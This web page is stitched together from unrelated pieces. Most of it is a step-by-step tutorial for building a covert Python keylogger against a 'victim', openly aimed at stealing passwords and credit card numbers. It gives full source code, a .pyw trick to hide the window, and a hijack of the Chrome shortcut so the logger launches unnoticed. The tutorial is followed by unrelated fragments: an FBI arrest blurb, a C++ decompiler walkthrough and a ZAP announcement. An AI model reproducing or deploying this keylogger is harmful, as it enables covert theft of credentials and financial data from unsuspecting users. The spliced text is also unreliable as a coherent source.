A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

Computer With Operating system: Windows, Mac os or Linux
Python must be installed on the system
Pip (Python index package ) you will need this to install python software packages.
Pypiwin32 and PyHook packages
Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

Hackers always find a way in, even if there's no software vulnerability to exploit. The FBI has arrested a Russian national who recently traveled to the United States and offered $1 million in bribe to an employee of a targeted company for his help in installing malware into the company's computer network manually. Egor Igorevich Kriuchkov, 27-year-old, entered the United States as a tourist

In general decompilers are not friendly with c++ let's analyse a simple program to get familiar with it.
Let's implement a simple code that loads a file into a vector and then save the vector with following functions:

err
load
save
main

Lets identify the typical way in C++ to print to stdout with the operator "<<"

The basic_ostream is initialized writing the word "error" to the cout, and then the operator<< again to add the endl.

The Main function simply calls "vec = load(filename)" but the compiler modified it and passed the vector pointer as a parámeter. Then it bulds and prints "loaded " << size << " users".
And finally saves the vector to /tmp/pwd and print "saved".
Most of the mess is basically the operator "<<" to concat and print values.
Also note that the vectors and strings are automatically deallocated when exit the function.

And here is the code:

Let's take a look to the load function, which iterates the ifs.getline() and push to the vector.
First of all there is a mess on the function definition, __return_storage_ptr is the vector.
the ifstream object ifs is initialized as a basic_ifstream and then operator! checks if it wasn't possible to open the file and in that case calls err()
We see the memset and a loop, getline read a cstr like line from the file, and then is converted to a string before pushing it to the vector. lVar1 is the stack canary value.

In this situations dont obfuscate with the vector pointer vec initialization at the begining, in this case the logic is quite clear.

The function save is a bit more tricky, but it's no more than a vector iteration and ofs writing.
Looping a simple "for (auto s : *vec)" in the decompiler is quite dense, but we can see clearly two write, the second write DAT_0010400b is a "\n"

As we see, save implememtation is quite straightforward.

The Zed Attack Proxy team is pleased to announce two recently released initiatives:

ZAP In Ten

The team have just launched a new series of videos called 'ZAP in Ten' in conjunction with AllDayDevOps.

ZAP in Ten is a series of short form videos featuring Simon Bennetts, project lead of the OWASP Zed Attack Proxy (ZAP) project. Each video highlights a specific feature or resource for ZAP.

ZAP API Docs

As part of OWASP's participation in Google's Season of Docs, the ZAP project has had @sshniro working on API documentation. The first iteration of the documentation is now live. It includes Java, Python, and shell example snippets all presented in a responsive and accessible design. Which we will continue to build on in the future.

Big thanks to Nirojan for his efforts on this wonderful initiative! Congratulations and thanks to Google Open Source for helping to bring the open source and technical writer communities together!Related word
